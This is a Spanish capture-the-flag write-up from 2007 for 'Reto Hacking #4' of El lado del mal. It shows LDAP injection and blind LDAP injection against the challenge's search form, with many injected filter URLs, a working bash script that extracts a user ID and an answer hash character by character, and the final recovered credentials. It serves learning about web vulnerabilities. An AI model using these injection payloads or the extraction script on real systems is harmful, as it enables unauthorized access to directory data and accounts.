=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ---> Solución Reto Hacking #4 (www.elladodelmal.com) <--- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= { Por: Román Medina-Heigl Hernández (aka RoMaNSoFt) } [15/Sep/07] --[ Nivel 1 ] ------- Partimos de la página principal de entrada (login): http://retohacking4.elladodelmal.com/ Donde se puede leer: "Eres Sydney Bristow (aparte de estar trozo de potable eres una crá con los ordenadores) y acabas de llegar al terminal de la red malvada de Profeta 5. Necesitas entrar en el Sistema para coger los planos de la Bomba. Cada terminal tiene sólo un usuario. Hazte con él. Marshall no está disponible así que estás sola. ¡Suerte Pájaro Azul!" Es importante no perder detalle de la página. No sabemos a priori si se puede tratar de alguna pista. En particular, el texto anterior contiene un enlace a Wikipedia ("Sidney Bristow"). Al parecer, la susodicha es el personaje (de ficción) principal de una serie de TV llamada "Alias". Yo nunca la había ni he visto pero apuntado queda :-). Seguimos mirando la página, entremos en materia. En la parte derecha hay una serie de menús realizados en JavaScript: "Acceso", "Recursos" y "Recuperar contraseña". Por defecto, se muestra el primero ("Acceso"), consistente en un formu- lario donde se pide "usuario" y "password". Si probamos a introducir algunas cadenas típicas (inyección SQL, etc) o caracteres especiales no observamos ninguna anomalía. Por otro lado, llama la atención el último menú ("Recuperar contraseña"), al que nos dirigimos y seleccionamos. En él se pueden realizar dos acciones diferentes: primero, se puede verificar si un identificador de usuario (uid) es correcto (esto es, existe ese usuario); y por último, obtener su contraseña, siempre que conozcamos la respuesta a la pregunta de seguridad. Al igual que con el menú de "Acceso", cualquier intento de inyectar cadenas/caracteres especiales resulta infructuoso. Sólo nos queda el segundo menú: "Recursos". Éste nos permite buscar recursos (impresoras o terminales) en diferentes plantas (primera, segunda o tercera). El formulario genera una petición GET, por ejemplo: http://retohacking4.elladodelmal.com/Default.aspx?recurso=Impresora&planta=Primera+Planta Nos salen 3 impresoras en la primera planta. Probemos a modificar a mano la petición y pongamos una planta que presumiblemente no existe: http://retohacking4.elladodelmal.com/Default.aspx?recurso=Impresora&planta=Cuarta+Planta Nos aparecen 0 impresoras. Intentamos buscar alguna otra planta que pudiera no haber sido contemplada por el formulario (podrían haberla escondido adrede), sin éxito (siempre se obtienen 0 impresoras y 0 terminales). Si realizamos pruebas de inyección con la petición GET, observamos lo siguiente: http://retohacking4.elladodelmal.com/Default.aspx?recurso=Impresora&planta=Primera+* Devuelve 3 impresoras. Es decir, el "*" se está utilizando como comodín. Realicemos más peticiones: http://retohacking4.elladodelmal.com/Default.aspx?recurso=Impresora&planta=* Devuelve 6 impresoras. Que coincide con el total de impresoras sumando las de las 3 plantas (3+1+2). ¿Qué tecnología emplea el servidor? Se lo preguntamos directamente... :-) roman@jupiter:~$ telnet retohacking4.elladodelmal.com 80 Trying 80.81.106.148... Connected to retohacking4.elladodelmal.com. Escape character is '^]'. HEAD / HTTP/1.1 Host:retohacking4.elladodelmal.com HTTP/1.1 200 OK Connection: Keep-Alive Content-Length: 11689 Date: Sat, 15 Sep 2007 19:13:41 GMT Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=w3j2c245vfwjih45qwh3uk45; path=/; HttpOnly Cache-Control: private ^] telnet> quit Connection closed. roman@jupiter:~$ Tratándose de "El lado del mal" no nos sorprende el resultado (¡pero nos teníamos que asegurar!). Se utiliza ASP .NET (Microsoft). ¿Por qué funcionan los "*" en la inyección? Después de consultar la guía de OWASP, esto huele a... ¡LDAP injection! Presuponemos que el backend es un Direc- torio Activo y se está utilizando su interfaz LDAP. Nos documentamos un poco: [1] "LDAP Injection: Are Your Web Applications Vulnerable?", By Sacha Faust - SPI Dynamics http://www.spidynamics.com/whitepapers/LDAPinjection.pdf [2] Active Directory Service Interfaces - "Search Filter Syntax" http://msdn2.microsoft.com/en-us/library/aa746475.aspx [3] "A String Representation of LDAP Search Filters" http://www.ietf.org/rfc/rfc1960.txt Sobre la inyección en LDAP no existe gran cosa. La referencia [1] es bastante pobre, no me convence. Así que vamos a ir por libre. Nos queda- remos con las referencias [2] y [3], donde se describe la sintaxis a emplear en la construcción de filtros para sentencias LDAP. Ni qué decir tiene que conviene tener nociones de LDAP (básicamente saber en qué consiste, poco más); nos contentamos con saber que es una base de datos que se estructura en forma de árbol y donde cada una de las hojas finales de ese árbol (nodos) se puede ver como una ficha, con una serie de campos ("atributos") y valores. Cada nodo puede contener atributos diferentes (en función del tipo u "ObjectClass" al que pertenezca). Una búsqueda típica recorrerá el árbol a partir de una rama dada (que se especifica en la query), devolviendo como resultado el conjunto de nodos que cumplan la condición especificada en el filtro. También se suele especificar en la query qué atributos se desean devolver (de forma que no se devuelvan todos los atributos de cada ficha). Es una explicación un tanto burda y muy simplificada pero debería bastar. Asumiremos que los atributos a mostrar así como la rama a partir de la cual se realizan las búsquedas ("Base DN") no es modificable en la inyección mientras que el filtro es una expresión que se construye a partir de lo que introduzcamos en el formulario de la aplicación y por tanto, sí sería modificable. Centrándonos ya en el filtro veamos su sintaxis (extraída del RFC 1960): ___________________________________________________________________________ The string representation of an LDAP search filter is defined by the following grammar. It uses a prefix format. ::= '(' ')' ::= | | | ::= '&' ::= '|' ::= '!' ::= | ::= | | ::= ::= | | | ::= '=' ::= '~=' ::= '>=' ::= '<=' ::= '=*' ::= '=' ::= NULL | ::= '*' ::= NULL | '*' ::= NULL | is a string representing an AttributeType, and has the format defined in [1]. is a string representing an AttributeValue, or part of one, and has the form defined in [2]. If a must contain one of the characters '*' or '(' or ')', these characters should be escaped by preceding them with the backslash '\' character. Note that although both the and productions can produce the 'attr=*' construct, this construct is used only to denote a presence filter. ___________________________________________________________________________ Básicamente el filtro es una expresión que va toda entre paréntesis y que puede contener a su vez otros filtros en su interior permitiendo realizar tres operaciones lógicas: AND, OR y NOT. En su expresión más simple, un filtro sería de la forma: (atributo=valor) El filtro anterior produciría como resultado todas las fichas donde exista el atributo y cuyo valor coincida exactamente con el dado (operador "="). Existen otros operadores para comparar atributos y valores: ~=, >=, <=. Y un caso especial que verifica si un atributo existe o no: (atributo=*) Los operadores lógicos (AND, OR, NOT) se sitúan delante de los operandos que se desean concatenar. Ejemplo: (&(atributo1=valor1)(atributo2=valor2)(atributo3=valor3)) Se ve mejor si separamos las expresiones con caracteres de espaciado: ( & (atributo1=valor1) (atributo2=valor2) (atributo3=valor3) ) El filtro buscaría los nodos que cumplen las 3 condiciones (el & representa un "AND lógico"). La inyección que realizaremos consistirá en alterar cualquiera de los valores, para cambiar el significado del filtro. Volviendo al reto, nos fijamos en la petición GET donde vamos a inyectar: http://retohacking4.elladodelmal.com/Default.aspx?recurso=Impresora&planta=Primera+Planta Asumimos que el aplicativo web construirá un filtro como el siguiente (he añadido espaciado extra para que se vea mejor): (& (recurso=$recurso) (planta=$planta) ) Hagamos un breve paréntesis. Siendo puristas, a la hora de inyectar deberíamos aplicar "URL-encoding" a los caracteres especiales que intro- duzcamos, teniendo en cuenta las siguientes equivalencias: & = %26 ( = %28 ) = %29 ! = %21 | = %7C = = %3D \ = %5C Pero realmente sólo será necesario transformar los caracteres que pudieran confundir al parser de la URI (principalmente el "&"). Cerremos paréntesis y continuemos... Hagamos algunas deducciones, mostrando la inyección LDAP empleada en cada caso: - Hay 12 objetos que contienen el atributo "planta" (además de algún recurso). http://retohacking4.elladodelmal.com/Default.aspx?recurso=*&planta=* El filtro resultante: (& (recurso=*) (planta=*) ) - Comprobamos si alguno de esos 12 objetos contiene un atributo "uid", "username", "user", "objectclass", etc. http://retohacking4.elladodelmal.com/Default.aspx?recurso=*&planta=*)(objectclass=* El filtro resultante: (& (recurso=*) (planta=*) (objectclass=*) ) Los 12 objetos contienen el atributo "objectclass" (obligatorio en LDAP) pero ninguno de ellos contiene "uid", "username", "user" o similares. Al menos sabemos que estamos inyectando correctamente pero no hemos encon- trado un atributo que nos de el nombre de usuario que estamos buscando. - Una curiosidad es que si buscamos el atributo "recurso" no devuelve ningún objeto. Sí funciona si preguntamos por el atributo "planta". http://retohacking4.elladodelmal.com/Default.aspx?recurso=*&planta=*)(recurso=* http://retohacking4.elladodelmal.com/Default.aspx?recurso=*&planta=*)(planta=* Suponemos por tanto que el filtro de búsqueda no es exactamente el que propusimos: (& (recurso=$recurso) (planta=$planta) ) Sino otro de la forma: (& (atributo_desconocido=$recurso) (planta=$planta) ) En realidad no necesitamos conocer el nombre del primer atributo. Y si apuramos tampoco la query exacta; simplemente trataremos de ajustar la inyección por el clásico método de prueba y error. - Busquemos otros objetos. http://retohacking4.elladodelmal.com/Default.aspx?recurso=*)(!&planta=* El filtro resultante: (& (recurso=*) (!)(planta=*) ) Hay 11 objetos que no contienen el atributo "planta" (pero que sí contienen algún recurso). Es decir, hay recursos escondidos en lugares diferentes a las plantas (¿el sótano? ¿la azotea? ;-)). - ¿Cómo podemos hacer para que nos devuelva todos los objetos que contengan algún recurso? En teoría nos deberían salir 12 + 11 = 23 objetos. Comprobémoslo y de paso obtengamos una única query que nos devuelva los 23 objetos que tienen asociado algún recurso. http://retohacking4.elladodelmal.com/Default.aspx?recurso=*)(!&planta=kkk El filtro resultante: (& (recurso=*) (!)(planta=kkk) ) Nos salen 23 objetos en total que contienen recursos, tal y como esperá- bamos. La condición anterior busca objetos que contengan recursos y donde el atributo planta no sea "kkk" (un valor arbitrario que nos hemos inventado y que presuponemos que no existe) o bien ni siquiera exista dicho atributo. - Del total (23 objetos), todos contienen el atributo "objectclass" (como era de esperar). http://retohacking4.elladodelmal.com/Default.aspx?recurso=*)(objectclass=*)(!&planta=kkk El filtro resultante: (& (recurso=*) (objectclass=*) (!)(planta=kkk) ) - Y sólo 1 objeto (con recursos) contiene un atributo "uid". http://retohacking4.elladodelmal.com/Default.aspx?recurso=*)(uid=*)(!&planta=kkk El filtro resultante: (& (recurso=*) (uid=*) (!)(planta=kkk) ) - Y también sólo un objeto contiene un atributo "respuesta". http://retohacking4.elladodelmal.com/Default.aspx?recurso=*)(respuesta=*)(!&planta=kkk El filtro resultante: (& (recurso=*) (respuesta=*) (!)(planta=kkk) ) - Además comprobamos que es el mismo objeto el que contiene los atributos "uid" y "respuesta". http://retohacking4.elladodelmal.com/Default.aspx?recurso=*)(uid=*)(respuesta=*)(!&planta=kkk El filtro resultante: (& (recurso=*) (uid=*) (respuesta=*) (!)(planta=kkk) ) ¡Bingo! Si nos fijamos en el menú de recuperación de contraseña el identificador de usuario que tenemos que averiguar se corresponde con el parámetro "uid" y también existe otro parámetro "respuesta". No es casualidad. Por tanto, nuestra misión ahora es obtener el "uid" y la "respuesta" del objeto anterior. ¿Cómo? Puesto que la inyección sólo nos permite averiguar el número de objetos que cumple una condición dada no podemos obtener los valores buscados directamente así que improvisaremos y aplicaremos una nueva técnica: "Blind LDAP Injection". Esta técnica no documentada (al menos no he encontrado ninguna referencia a ella) se basa en el mismo concepto que el "Blind SQL Injection". Primero la aplicaremos al "uid". Iremos recorriendo carácter a carácter el valor del "uid", observando si la inyección devuelve 1 o 0 objetos (verdadero o falso, respectivamente). Por ejemplo, para el primer caracter del "uid" probaríamos: http://retohacking4.elladodelmal.com/Default.aspx?recurso=*)(uid=a*)(!&planta=kkk http://retohacking4.elladodelmal.com/Default.aspx?recurso=*)(uid=b*)(!&planta=kkk ... http://retohacking4.elladodelmal.com/Default.aspx?recurso=*)(uid=s*)(!&planta=kkk Los filtros correspondientes serían: (& (recurso=*) (uid=a*) (!)(planta=kkk) ) (& (recurso=*) (uid=b*) (!)(planta=kkk) ) ... (& (recurso=*) (uid=s*) (!)(planta=kkk) ) Es decir, estamos verificando si el "uid" comienza por "a", "b", etc. La query siempre devuelve 0 objetos hasta que probamos con la letra "s", en cuyo caso devuelve 1 objeto. Así habríamos encontrado el primer carácter del uid. Ahora repetiríamos el proceso para el segundo carácter, dejando ya fijado el primero: http://retohacking4.elladodelmal.com/Default.aspx?recurso=*)(uid=sa*)(!&planta=kkk http://retohacking4.elladodelmal.com/Default.aspx?recurso=*)(uid=sb*)(!&planta=kkk ... http://retohacking4.elladodelmal.com/Default.aspx?recurso=*)(uid=sd*)(!&planta=kkk Los filtros correspondientes serían: (& (recurso=*) (uid=sa*) (!)(planta=kkk) ) (& (recurso=*) (uid=sb*) (!)(planta=kkk) ) ... (& (recurso=*) (uid=sd*) (!)(planta=kkk) ) La query es exitosa cuando el segundo carácter es una "d". Ahora repeti- ríamos el proceso dejando fijados los dos primeros caracteres e iríamos a por el tercero. Y así sucesivamente. Evidentemente no tiene sentido realizar esta tarea a mano luego vamos a automatizarla. Sólo necesitamos saber cuál sería el "charset" o juego de caracteres. Para acelerar el proceso, haremos un par de optimizaciones: 1) Comprobamos que las comparaciones no son "case sensitive". http://retohacking4.elladodelmal.com/Default.aspx?recurso=*)(planta=*rim*ra*)(!&planta=kkk http://retohacking4.elladodelmal.com/Default.aspx?recurso=*)(planta=*RiM*rA*)(!&planta=kkk Ambas queries devuelven 6 objetos (presumiblemente los mismos 6 objetos) luego es suficiente con comprobar las minúsculas o bien las mayúsculas pero no ambas. Realmente el que la búsqueda sea o no case sensitive depende de las propiedades del atributo en cuestión; sin embargo, asumimos en este caso que los atributos que utilizaremos son case insensitive. Si esto no fuera así, nos daríamos cuenta rápidamente cuando automaticemos la inyección ciega LDAP, forzándonos a ampliar el charset. 2) Partiremos de un charset inicial más o menos amplio y razonable: 1234567890abcdefghijklmnopqrstuvwxyz,.-_:; En vez de comprobar cada caracter contra este charset, realizaremos un paso inicial que permita obtener un charset más reducido (a partir del inicial) y luego ya iremos comprobando caracter a caracter contra este último charset reducido. Para obtener el charset reducido haríamos queries del tipo: http://retohacking4.elladodelmal.com/Default.aspx?recurso=*)(uid=*a*)(!&planta=kkk) http://retohacking4.elladodelmal.com/Default.aspx?recurso=*)(uid=*b*)(!&planta=kkk) ... Si el resultado es positivo (devuelve 1 objeto) quiere decir que el "uid" contiene ese caracter (una o más veces). Así ocurre con la "a", por ejemplo, y por tanto, la incluiríamos en el charset reducido. Sin embargo, la "b" devuelve 0 objetos, luego no formará parte del charset reducido. Cuanto mayor sea la longitud del "uid", más tiempo habremos ahorrado con esta optimización. El resultado de nuestra automatización es un script en bash que rentabi- lizamos rápidamente puesto que nos dará la solución a la primera parte del reto: ____________________________________________________________________________ roman@jupiter:~/Hack/Wargames/informatica64-retoIV$ ./reto4_uid.sh Calculando charset (espere) ... 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 -> OK ** Charset encontrado: 6adeilnorsv. ** Procedemos con la fuerza bruta. Esto puede tardar. Espere... #1 -> s #2 -> d #3 -> 6 #4 -> . #5 -> s #6 -> l #7 -> o #8 -> a #9 -> n #10 -> e #11 -> . #12 -> a #13 -> r #14 -> v #15 -> i #16 -> n ** El valor buscado es: sd6.sloane.arvin ** Done roman@jupiter:~/Hack/Wargames/informatica64-retoIV$ ____________________________________________________________________________ Ya tenemos el identificador de usuario ;-) Obsérvese la drástica reducción del charset: - charset inicial: 1234567890abcdefghijklmnopqrstuvwxyz,.-_:; - charset reducido: 6adeilnorsv. Tiempo de ejecución del script anterior: 3 minutos y medio (se podría optimizar más utilizando varios hilos pero esto no es un concurso de programación... :-)). Simplemente cambiando "uid" por "respuesta" tendremos listo el segundo script que obtiene el valor del atributo "respuesta". ____________________________________________________________________________ roman@jupiter:~/Hack/Wargames/informatica64-retoIV$ ./reto4_respuesta.sh Calculando charset (espere) ... 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 -> OK ** Charset encontrado: 123456789abcdef ** Procedemos con la fuerza bruta. Esto puede tardar. Espere... #1 -> f #2 -> 5 #3 -> 9 #4 -> 7 #5 -> c #6 -> 3 #7 -> b #8 -> 5 #9 -> a #10 -> 9 #11 -> c #12 -> 6 #13 -> a #14 -> 5 #15 -> d #16 -> 9 #17 -> 5 #18 -> 5 #19 -> 9 #20 -> 8 #21 -> 4 #22 -> 5 #23 -> 4 #24 -> 9 #25 -> 3 #26 -> 5 #27 -> e #28 -> 3 #29 -> b #30 -> c #31 -> 2 #32 -> 1 ** El valor buscado es: f597c3b5a9c6a5d95598454935e3bc21 ** Done roman@jupiter:~/Hack/Wargames/informatica64-retoIV$ ____________________________________________________________________________ Veamos el código del primer script (obviamos el segundo, por ser similar): ____________________________________________________________________________ roman@jupiter:~/Hack/Wargames/informatica64-retoIV$ cat reto4_uid.sh #!/bin/bash # Reto IV de El Lado del Mal. (c) RoMaNSoFt, 2007. # 11.09.2007. ### Variables charset_inicial="1234567890abcdefghijklmnopqrstuvwxyz,.-_:;" maxlength=50 ### Funciones # $1=cadena a inyectar chequear() { lynx -dump "http://retohacking4.elladodelmal.com/Default.aspx?recurso=*)(uid=$1)(!&planta=kk" | grep -q "Total: 1" if [ $? -eq 0 ] ; then return 0 else return 1 fi } ### Programa principal # 1) Primero calculamos el charset (partiendo del charset inicial) mediante un brute-forcing inicial echo -n "Calculando charset (espere) ... " charset="" longcharsetinicial=`expr length $charset_inicial` for j in `seq 1 $longcharsetinicial` ; do char=`echo $charset_inicial | cut -b $j` echo -n "$j " chequear "*$char*" if [ $? -eq 0 ] ; then charset=$charset$char fi done echo -e " -> OK" echo "** Charset encontrado: $charset **" # 2) Brute force utilizando el charset calculado echo -e "\nProcedemos con la fuerza bruta. Esto puede tardar. Espere..." password="" i=0 # Bucle principal (utilizamos maxlength para evitar un posible bucle infinito) while [ $i -lt $maxlength ] ; do # Comprobamos si ya tenemos el valor buscado chequear "$password" if [ $? -eq 0 ] ; then echo "** El valor buscado es: $password **" echo "Done" exit fi ((i++)) echo -n "#$i -> " longcharset=`expr length $charset` for j in `seq 1 $longcharset` ; do unset match char=`echo $charset | cut -b $j` chequear "$password$char*" if [ $? -eq 0 ] ; then match=$char break fi done if [ $match ] ; then echo $match password=$password$match else echo -e "ERROR :-(\nLo siento, debera ampliar el charset inicial. Proceso abortado." exit fi done echo "Lo siento, se ha excedido el limite max. de caracteres ($maxlength). Proceso abortado." roman@jupiter:~/Hack/Wargames/informatica64-retoIV$ ____________________________________________________________________________ Si introducimos el identificador de usuario hallado ("sd6.sloane.arvin") en la página de recuperación de contraseña vemos que es correcto. --[ Nivel 2 ] ------- Al introducir el usuario aparece en pantalla: "PREGUNTA :¿Dónde se cerró el Círculo?" Debemos encontrar la respuesta. Mediante "blind LDAP injection" obtuvimos "f597c3b5a9c6a5d95598454935e3bc21", lo que parece ser un hash (¿MD5?) de la respuesta. En realidad podría ser cualquier cosa (por ejemplo, MD4). El caso es que si introducimos el hash en el cracker MD5 de milw0rm (http://milw0rm.com/cracker/) éste no consigue romperlo. Así que buscamos otra vía: ¿y si la respuesta está en Google? La idea de esta fase consiste en documentarse, buscar, jugar con la intuición... Sabemos que el reto está basado en la serie de TV "Alias" e incluso tenemos un enlace a Wikipedia de su personaje principal. Pues nada, a buscar se ha dicho. Se nos ocurren varias opciones: - bajarse todos los capítulos de la serie y verlos. Inviable (al menos yo paso ;-)). - preguntar a algún amigo que la haya visto (o en algún foro de Internet). Es viable pero tardaríamos un poco. - buscarlo por nuestros propios medios. Es la opción que tomamos. Dentro de la tercera y última opción se me ocurre: - buscar resumenes de los capítulos. En Wikipedia están los resumenes de las 5 temporadas. Viable pero es un latazo. Lo descartamos. - buscar directamente en Google. Vamos a ello. Si realizamos la siguiente búsqueda en Google: Sydney Bristow Alias "the Circle" En uno de los 5 primeros enlaces que aparecen se puede leer: "the circle will be complete when the Chosen One finds The Rose in San Chielo." [http://www.neloo.com/alias/epguide/epi103.html] Luego la respuesta es: San Chielo. Con dicha respuesta y el identificador de usuario obtenido en el primer nivel, podemos recuperar la contraseña (en la página de recuperación de contraseña), obteniendo: sd6-Alias-R3toH4ck1ng4_Arvin Para terminar nos dirigimos al menú de acceso e introducimos el usuario y contraseña: sd6.sloane.arvin / sd6-Alias-R3toH4ck1ng4_Arvin ¡Pero no funciona! No pasa nada, que no cunda el pánico :-) Nos fijamos en el comentario de la página, que dice que "después de un punto hay que escribir una letra mayúscula". Corregimos el identificador de usuario y esta vez sí, ¡reto superado! Solución: sd6.Sloane.Arvin / sd6-Alias-R3toH4ck1ng4_Arvin =-=-[ EOF ]-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=